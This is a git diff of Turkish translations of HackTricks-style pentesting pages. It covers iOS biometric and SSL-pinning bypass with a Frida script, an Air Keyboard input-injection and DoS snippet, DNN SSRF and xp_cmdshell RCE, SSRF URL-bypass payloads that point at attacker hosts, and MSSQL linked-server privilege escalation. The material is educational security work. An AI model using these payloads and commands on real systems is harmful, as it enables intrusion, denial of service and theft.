Aşağıda, bu güvenlik özelliklerini kullanarak anahtar zincirine bir dize kaydetme ve geri alma işlemlerini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veriyi veya nil döndürecektir.
|
||||
Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veriyi veya nil'i döndürecektir.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### Tespit
|
||||
|
||||
Bir uygulamadaki framework'lerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir:
|
||||
Bir uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
@ -887,13 +887,13 @@ Eğer bir uygulamada `LocalAuthentication.framework` kullanılıyorsa, çıktı
|
||||
```
|
||||
Eğer `Security.framework` kullanılıyorsa, yalnızca ikincisi gösterilecektir.
|
||||
|
||||
### Yerel Kimlik Doğrulama Çerçevesi Bypass
|
||||
### Yerel Kimlik Doğrulama Çerçevesi Atlatma
|
||||
|
||||
#### **Objection**
|
||||
|
||||
**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) **LocalAuthentication** mekanizmasını aşmak için bir teknik mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; böylece, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini aşmak için özellikle faydalıdır.
|
||||
**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) **LocalAuthentication** mekanizmasını aşmak için bir teknik mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; böylece, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlatmak için özellikle yararlıdır.
|
||||
|
||||
Bu bypass'ı etkinleştirmek için aşağıdaki komut kullanılır:
|
||||
Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||||
@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
```
|
||||
Yerel Kimlik Doğrulama'nın **bypass** edilmesi için bir Frida scripti yazılmıştır. Bu script, **evaluatePolicy** kontrolünü hedef alır ve geri çağrısını keserek **success=1** döndürmesini sağlar. Geri çağrının davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde bypass edilir.
|
||||
|
||||
Aşağıdaki script, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilmiştir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir.
|
||||
Aşağıdaki script, **evaluatePolicy** metodunun sonucunu değiştirmek için enjekte edilir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir.
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
|
||||
|
||||
## Ağ İletişimi
|
||||
|
||||
**Şifreleme olmadan** iletişim gerçekleşmediğinden emin olmak ve ayrıca uygulamanın sunucunun TLS sertifikasını doğru bir şekilde **doğruladığından** emin olmak önemlidir.\
|
||||
**Şifreleme olmadan** iletişim gerçekleşmediğinden emin olmak ve ayrıca uygulamanın sunucunun **TLS sertifikasını** doğru bir şekilde **doğruladığından** emin olmak önemlidir.\
|
||||
Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
@ -1017,12 +1017,12 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Hostname Kontrolü
|
||||
|
||||
TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalandığını kontrol etmektir, ancak **sertifikanın hostname'inin** erişilen hostname ile eşleşip eşleşmediğini **kontrol etmemektir**.\
|
||||
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir zayıflık vardır.
|
||||
TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalandığını kontrol etmektir, ancak **sertifikanın hostname'inin** erişilen hostname ile **kontrol edilmemesidir**.\
|
||||
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'sını güvenilir hale getirdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir şeyler savunmasızdır.
|
||||
|
||||
### Sertifika Pinning
|
||||
|
||||
Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika ile çalışır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunacaktır.**\
|
||||
Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika ile çalışır. Bir uygulamayı test ederken **bu, Burp kendi sertifikasını sunacağı için bir sorun olabilir.**\
|
||||
Bu korumayı jailbreak'li bir cihazda aşmak için, [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) uygulamasını yükleyebilir veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz.
|
||||
|
||||
Ayrıca **objection'ın** `ios sslpinning disable` komutunu da kullanabilirsiniz.
|
||||
@ -1040,13 +1040,13 @@ Ayrıca **objection'ın** `ios sslpinning disable` komutunu da kullanabilirsiniz
|
||||
|
||||
### Sıcak Yamanlama/Zorunlu Güncelleme
|
||||
|
||||
Geliştiriciler, uygulamalarını App Store'a yeniden göndermeden ve onaylanmasını beklemeden **tüm kurulumları anında yamalayabilirler.**\
|
||||
Geliştiriciler, uygulamalarını yeniden göndermeden ve onaylanmasını beklemeden **tüm uygulama kurulumlarını anında yamalayabilirler.**\
|
||||
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\
|
||||
**Bu, kötü niyetli üçüncü taraf SDK'lar tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmek ve test etmek önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.
|
||||
|
||||
### Üçüncü Taraflar
|
||||
|
||||
**3. taraf SDK'lar** ile ilgili önemli bir zorluk, işlevleri üzerinde **detaylı kontrol eksikliği**dir. Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki zayıflıkları kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir.
|
||||
**3. taraf SDK'lar** ile ilgili önemli bir zorluk, **işlevleri üzerinde ayrıntılı kontrol eksikliğidir.** Geliştiriciler, SDK'yı entegre etme ve potansiyel güvenlik açıkları ve gizlilik endişeleri dahil olmak üzere tüm özelliklerini kabul etme veya tamamen faydalarından vazgeçme seçeneği ile karşı karşıyadır. Genellikle, geliştiriciler bu SDK'lar içindeki güvenlik açıklarını kendileri yamalayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içermeye başlayabilir.
|
||||
|
||||
Üçüncü taraf SDK'lar tarafından sağlanan hizmetler, kullanıcı davranışını izleme, reklam gösterimleri veya kullanıcı deneyimi iyileştirmeleri içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodu tam olarak bilmemesi nedeniyle potansiyel gizlilik ve güvenlik riskleri oluşturur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin, gerekli olanla sınırlı olması ve hassas verilerin açığa çıkmadığından emin olunması önemlidir.
|
||||
|
||||
@ -1056,13 +1056,13 @@ Bir uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komu
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
## İlginç Güvenlik Açıkları ve Vaka Çalışmaları
|
||||
## İlginç Güvenlik Açıkları & Vaka Çalışmaları
|
||||
|
||||
{{#ref}}
|
||||
air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## **Referanslar ve Daha Fazla Kaynak**
|
||||
## **Referanslar & Daha Fazla Kaynak**
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||
- [iOS & Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||||
|
@ -1,12 +1,12 @@
|
||||
# Air Keyboard Remote Input Injection (Yetkisiz TCP Dinleyici)
|
||||
# Air Keyboard Remote Input Injection (Kimlik Doğrulaması Olmadan TCP Dinleyici)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Ticari "Air Keyboard" uygulamasının iOS versiyonu (App Store ID 6463187929), **port 8888'de açık metin TCP servisi** açar ve **herhangi bir kimlik doğrulaması olmadan** tuş vuruşu çerçevelerini kabul eder. Aynı Wi-Fi ağındaki herhangi bir cihaz o porta bağlanabilir ve kurbanın telefonuna rastgele klavye girişi enjekte ederek **tam uzaktan etkileşim ele geçirme** sağlar.
|
||||
Ticari "Air Keyboard" uygulamasının iOS versiyonu (App Store ID 6463187929), **port 8888'de açık metin TCP servisi** başlatır ve **herhangi bir kimlik doğrulaması olmadan** tuş vuruşu çerçevelerini kabul eder. Aynı Wi-Fi ağındaki herhangi bir cihaz o porta bağlanabilir ve kurbanın telefonuna rastgele klavye girişi enjekte ederek **tam uzaktan etkileşim ele geçirme** sağlar.
|
||||
|
||||
Bir eşlik eden Android sürümü **port 55535'te** dinler. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulan çöp veriler **OpenSSL şifre çözme rutininde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**).
|
||||
Bir eşlik eden Android sürümü **port 55535'te** dinler. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulan çöp, **OpenSSL şifre çözme rutininde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**).
|
||||
|
||||
## 1. Servis Keşfi
|
||||
|
||||
@ -57,17 +57,17 @@ Herhangi bir yazdırılabilir ASCII ( `\n`, `\r`, özel tuşlar vb. dahil) gönd
|
||||
|
||||
## 4. Android Companion – Hizmet Reddi
|
||||
|
||||
Android portu (55535), **hard-coded AES-128-ECB anahtarı** ile şifrelenmiş 4 karakterli bir şifre ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, sürecin yeniden başlatılana kadar meşru kullanıcıların bağlantısının kesilmesi için yeterlidir.
|
||||
Android portu (55535), **hard-coded AES-128-ECB anahtarı** ile şifrelenmiş 4 karakterli bir şifre ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, meşru kullanıcıların bağlantısının kesilmesi için yeterlidir, ta ki işlem yeniden başlatılana kadar.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Temel Sebep
|
||||
|
||||
1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrolleri yok** (iOS).
|
||||
1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrolleri** yok (iOS).
|
||||
2. **Kriptografik kötüye kullanım** (statik anahtar, ECB, uzunluk doğrulaması eksik) ve **istisna işleme eksikliği** (Android).
|
||||
|
||||
## 6. Önlemler ve Güçlendirme Fikirleri
|
||||
## 6. Azaltma ve Güçlendirme Fikirleri
|
||||
|
||||
* Mobil cihazda kimlik doğrulaması yapılmamış hizmetleri asla açığa çıkarmayın.
|
||||
* Onboarding sırasında cihaz başına gizli anahtarlar türetin ve girişi işlemden önce doğrulayın.
|
||||
@ -85,7 +85,7 @@ adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; ca
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyonu Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyon Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurity danışmanlığı WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -54,7 +54,7 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
Yönetici portalı koruması için *Host/IP Filtreleri*'ne güvenen yöneticiler, **10.0.1** sürümünden önceki sürümlerin, ters proxy senaryosunda `X-Forwarded-For`'ı manipüle ederek atlatılabileceğini bilmelidir.
|
||||
|
||||
---
|
||||
## Kimlik Doğrulama Sonrası RCE
|
||||
## Kimlik Doğrulamadan RCE'ye
|
||||
|
||||
### SQL konsolu aracılığıyla
|
||||
**`Ayarlar → SQL`** altında, site veritabanına karşı sorgu çalıştırmaya olanak tanıyan yerleşik bir sorgu penceresi bulunmaktadır. Microsoft SQL Server'da **`xp_cmdshell`**'i etkinleştirip komutlar başlatabilirsiniz:
|
||||
@ -80,11 +80,11 @@ Kod yürütme **IIS AppPool\<Site>** olarak gerçekleştirildiğinde, yaygın Wi
|
||||
* *Service Accounts*'tan kaçmak için **Juicy/Sharp Potatoes** kullanın.
|
||||
|
||||
---
|
||||
## Güçlendirme Önerileri (Mavi Takım)
|
||||
## Güçlendirme Önerileri (Mavi Ekip)
|
||||
|
||||
* En az **9.13.9** sürümüne (SSRF atlatmasını düzeltir) veya tercihen **10.0.1** sürümüne yükseltin (IP filtreleme ve NTLM sorunları).
|
||||
* Kurulumdan sonra kalan **`InstallWizard.aspx*`** dosyalarını kaldırın.
|
||||
* Çıkış yapan SMB'yi (portlar 445/139) devre dışı bırakın.
|
||||
* Çıkışta SMB'yi (portlar 445/139) devre dışı bırakın.
|
||||
* DNN içinde değil, kenar proxy'sinde güçlü *Host Filtreleri* uygulayın.
|
||||
* Kullanılmıyorsa `/API/RemoteContentProxy` erişimini engelleyin.
|
||||
|
||||
|
@ -144,9 +144,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
||||
#Parameter pollution
|
||||
next={domain}&next=attacker.com
|
||||
```
|
||||
### Yollar ve Uzantılarla Atlatma
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa ya da bir yol içermesi gerekiyorsa, aşağıdaki atlatmalardan birini deneyebilirsiniz:
|
||||
Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa veya bir yol içermesi gerekiyorsa, aşağıdaki atlatmalardan birini deneyebilirsiniz:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -158,7 +158,7 @@ The tool [**recollapse**](https://github.com/0xacb/recollapse) belirli bir girdi
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Portswigger'dan [**URL validation bypass cheat sheet** web uygulamasına**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) göz atın; burada izin verilen host ve saldırganın host'unu girebilir ve sizin için denemek üzere bir URL listesi oluşturacaktır. Ayrıca, URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.
|
||||
Portswigger'dan [**URL validation bypass cheat sheet** web uygulamasına](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) göz atın; burada izin verilen host ve saldırganın hostunu girebilir ve sizin için denemek üzere bir URL listesi oluşturacaktır. Ayrıca, URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -166,8 +166,8 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Sunucunun bir SSRF'nin **orijinal isteğini filtreliyor** olması **ama** bu isteğe olası bir **redirect** yanıtını filtrelemiyor olması mümkün olabilir.\
|
||||
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye karşı savunmasız bir sunucu **url parametresini filtreliyor** olabilir. Ancak, yönlendirmek istediğiniz yere bir 302 yanıtı vermek için bir [python sunucusu kullanırsanız](https://pastebin.com/raw/ywAUhFrv), 127.0.0.1 gibi **filtrelenmiş IP adreslerine** veya hatta gopher gibi filtrelenmiş **protokollere** **erişebilirsiniz**.\
|
||||
Sunucunun bir SSRF'nin **orijinal isteğini filtreliyor** olması **ama** bu isteğe yönelik olası bir **redirect** yanıtını filtrelemiyor olması mümkün olabilir.\
|
||||
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye karşı savunmasız bir sunucu **url parametresini filtreliyor** olabilir. Ancak, yönlendirmek istediğiniz yere 302 yanıtı vermek için bir [python sunucusu kullanırsanız](https://pastebin.com/raw/ywAUhFrv), 127.0.0.1 gibi **filtrelenmiş IP adreslerine** veya hatta gopher gibi filtrelenmiş **protokollere** **erişebilirsiniz**.\
|
||||
[Buna dair bu rapora göz atın.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
@ -209,7 +209,7 @@ Kullanıcı bilgisi segmentindeki “sol köşeli parantez” karakteri `[` Spri
|
||||
|
||||
### IPv6 Bölge Tanımlayıcı (%25) Hilesi
|
||||
|
||||
RFC 6874'ü destekleyen modern URL ayrıştırıcıları, **bölge tanımlayıcısı** içeren *link-local* IPv6 adreslerine yüzde işaretinden sonra izin verir. Bazı güvenlik filtreleri bu sözdizimini bilmez ve yalnızca köşeli parantez içindeki IPv6 literallerini kaldırır, bu da aşağıdaki yükün dahili bir arayüze ulaşmasına izin verir:
|
||||
RFC 6874'ü destekleyen modern URL ayrıştırıcıları, **bölge tanımlayıcısı** içeren *link-local* IPv6 adreslerine yüzde işaretinden sonra izin verir. Bazı güvenlik filtreleri bu sözdizimini bilmemekte ve yalnızca köşeli parantez içindeki IPv6 literallerini kaldırmakta, bu da aşağıdaki yükün dahili bir arayüze ulaşmasına izin vermektedir:
|
||||
```text
|
||||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
@ -218,11 +218,11 @@ Eğer hedef uygulama, ana bilgisayarın *değil* `fe80::1` olduğunu doğruluyor
|
||||
|
||||
### Son Kütüphane Ayrıştırma CVE'leri (2022–2025)
|
||||
|
||||
Birçok ana akım çerçeve, URL doğrulaması yukarıda listelenen hilelerle aşıldığında SSRF için istismar edilebilecek ana bilgisayar uyuşmazlığı sorunları yaşamıştır:
|
||||
Birçok ana akım çerçeve, yukarıda listelenen hilelerle URL doğrulaması aşıldığında SSRF için istismar edilebilecek ana bilgisayar uyuşmazlığı sorunları yaşamıştır:
|
||||
|
||||
| Yıl | CVE | Bileşen | Hata özeti | Minimal PoC |
|
||||
|------|-----|-----------|--------------|-------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` *kullanıcı bilgileri* bölümünde izin verilmez, bu nedenle `https://example.com\[@internal` Spring tarafından ana bilgisayar `example.com` olarak, tarayıcılar tarafından ise `internal` olarak ayrıştırılır ve ana bilgisayar izin listeleri kullanıldığında açık yönlendirme ve SSRF'ye olanak tanır. Spring 5.3.34 / 6.0.19 / 6.1.6+ sürümüne yükseltin. |
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` *kullanıcı bilgisi* bölümünde izin verilmez, bu nedenle `https://example.com\[@internal` Spring tarafından ana bilgisayar `example.com` olarak, tarayıcılar tarafından ise `internal` olarak ayrıştırılır ve ana bilgisayar izin listeleri kullanıldığında açık yönlendirme ve SSRF'ye olanak tanır. Spring 5.3.34 / 6.0.19 / 6.1.6+ sürümüne yükseltin. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Ters eğik çizgi karışıklığı, `http://example.com\\@169.254.169.254/` adresinin `@` ile ayrılan ana bilgisayar filtrelerini aşmasına izin verdi. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | İsim bir `.` ile sonlandığında ana bilgisayar doğrulaması atlandı (noktasız alan karışıklığı). |
|
||||
|
||||
@ -230,7 +230,7 @@ Birçok ana akım çerçeve, URL doğrulaması yukarıda listelenen hilelerle a
|
||||
|
||||
### Yükleme oluşturma yardımcıları (2024+)
|
||||
|
||||
Büyük özel kelime listeleri oluşturmak zahmetlidir. Açık kaynak aracı **SSRF-PayloadMaker** (Python 3), karışık kodlamalar, zorunlu HTTP düşürme ve ters eğik çizgi varyantları dahil olmak üzere *80 k+* ana bilgisayar karıştırma kombinasyonlarını otomatik olarak oluşturabilir:
|
||||
Büyük özel kelime listeleri oluşturmak zahmetlidir. Açık kaynak aracı **SSRF-PayloadMaker** (Python 3), karışık kodlamalar, zorunlu-HTTP düşürme ve ters eğik çizgi varyantları dahil olmak üzere *80 k+* ana bilgisayar karıştırma kombinasyonlarını otomatik olarak oluşturabilir:
|
||||
```bash
|
||||
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
||||
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
||||
|
@ -7,7 +7,7 @@
|
||||
|
||||
### Python
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) aracı impacket üzerine kuruludur ve kerberos biletleri kullanarak kimlik doğrulama yapmayı ve bağlantı zincirleri aracılığıyla saldırı gerçekleştirmeyi sağlar.
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) aracı impacket üzerine kuruludur ve kerberos biletleri kullanarak kimlik doğrulaması yapmayı ve bağlantı zincirleri aracılığıyla saldırı gerçekleştirmeyi sağlar.
|
||||
|
||||
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||||
```shell
|
||||
@ -133,7 +133,7 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
||||
# Get DBs, test connections and get info in oneliner
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
|
||||
```
|
||||
## MSSQL Temel Suistimal
|
||||
## MSSQL Temel İstismar
|
||||
|
||||
### Erişim Veritabanı
|
||||
```bash
|
||||
@ -226,15 +226,15 @@ Metasploit kullanarak güvenilir bağlantıları kolayca kontrol edebilirsiniz.
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
|
||||
Metasploit'in yalnızca MSSQL'deki `openquery()` fonksiyonunu kötüye kullanmaya çalışacağını unutmayın (yani, `openquery()` ile komut çalıştıramıyorsanız, komutları çalıştırmak için `EXECUTE` yöntemini **manuel** olarak denemeniz gerekecek, daha fazla bilgi aşağıda.)
|
||||
|
||||
### Manual - Openquery()
|
||||
### Manuel - Openquery()
|
||||
|
||||
From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**
|
||||
**Linux**'tan **sqsh** ve **mssqlclient.py** ile bir MSSQL konsol kabuğu elde edebilirsiniz.
|
||||
|
||||
From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)
|
||||
**Windows**'tan da bağlantıları bulabilir ve komutları manuel olarak bir **MSSQL istemcisi gibi** [**HeidiSQL**](https://www.heidisql.com) kullanarak çalıştırabilirsiniz.
|
||||
|
||||
_Login using Windows authentication:_
|
||||
_Windows kimlik doğrulaması ile giriş yapın:_
|
||||
|
||||
.png>)
|
||||
|
||||
@ -252,7 +252,7 @@ Bağlantı üzerinden sorguları çalıştırın (örnek: yeni erişilebilir ör
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
> [!WARNING]
|
||||
> İki ve tek tırnakların nerede kullanıldığını kontrol edin, bu şekilde kullanmak önemlidir.
|
||||
> Çift ve tek tırnakların nerede kullanıldığını kontrol edin, bu şekilde kullanmak önemlidir.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -280,12 +280,12 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki adam hizmetine kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilecek bu çeşitli tekniklerin bir koleksiyonuna sahiptir.
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilen bu çeşitli tekniklerin bir koleksiyonuna sahiptir.
|
||||
|
||||
|
||||
|
||||
### SCCM Yönetim Noktası NTLM İletimi (OSD Gizli Çıkarma)
|
||||
SCCM **Yönetim Noktaları**nın varsayılan SQL rollerinin, Ağ Erişim Hesabı ve Görev Dizisi gizli bilgilerini doğrudan site veritabanından dökme amacıyla nasıl istismar edilebileceğini görün:
|
||||
SCCM **Yönetim Noktaları**nın varsayılan SQL rollerinin, Ağ Erişim Hesabı ve Görev Dizisi gizli bilgilerini doğrudan site veritabanından dökme amacıyla nasıl kötüye kullanılabileceğini görün:
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
@ -11,7 +11,7 @@ Windows Yönetilen Hizmet Hesapları (MSA), parolalarını manuel olarak yönetm
|
||||
|
||||
Her iki varyant için de **parola her Domain Controller (DC)** üzerinde düzenli bir NT-hash gibi **saklanmaz**. Bunun yerine her DC, mevcut parolayı anlık olarak şu üç girdiden **türetebilir**:
|
||||
|
||||
* Orman genelinde **KDS Kök Anahtarı** (`KRBTGT\KDS`) – her DC'ye `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` konteyneri altında çoğaltılan rastgele oluşturulmuş GUID adında bir sır.
|
||||
* Orman genelinde **KDS Kök Anahtarı** (`KRBTGT\KDS`) – her DC'ye `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` konteyneri altında çoğaltılan rastgele oluşturulmuş GUID adlı gizli anahtar.
|
||||
* Hedef hesap **SID**.
|
||||
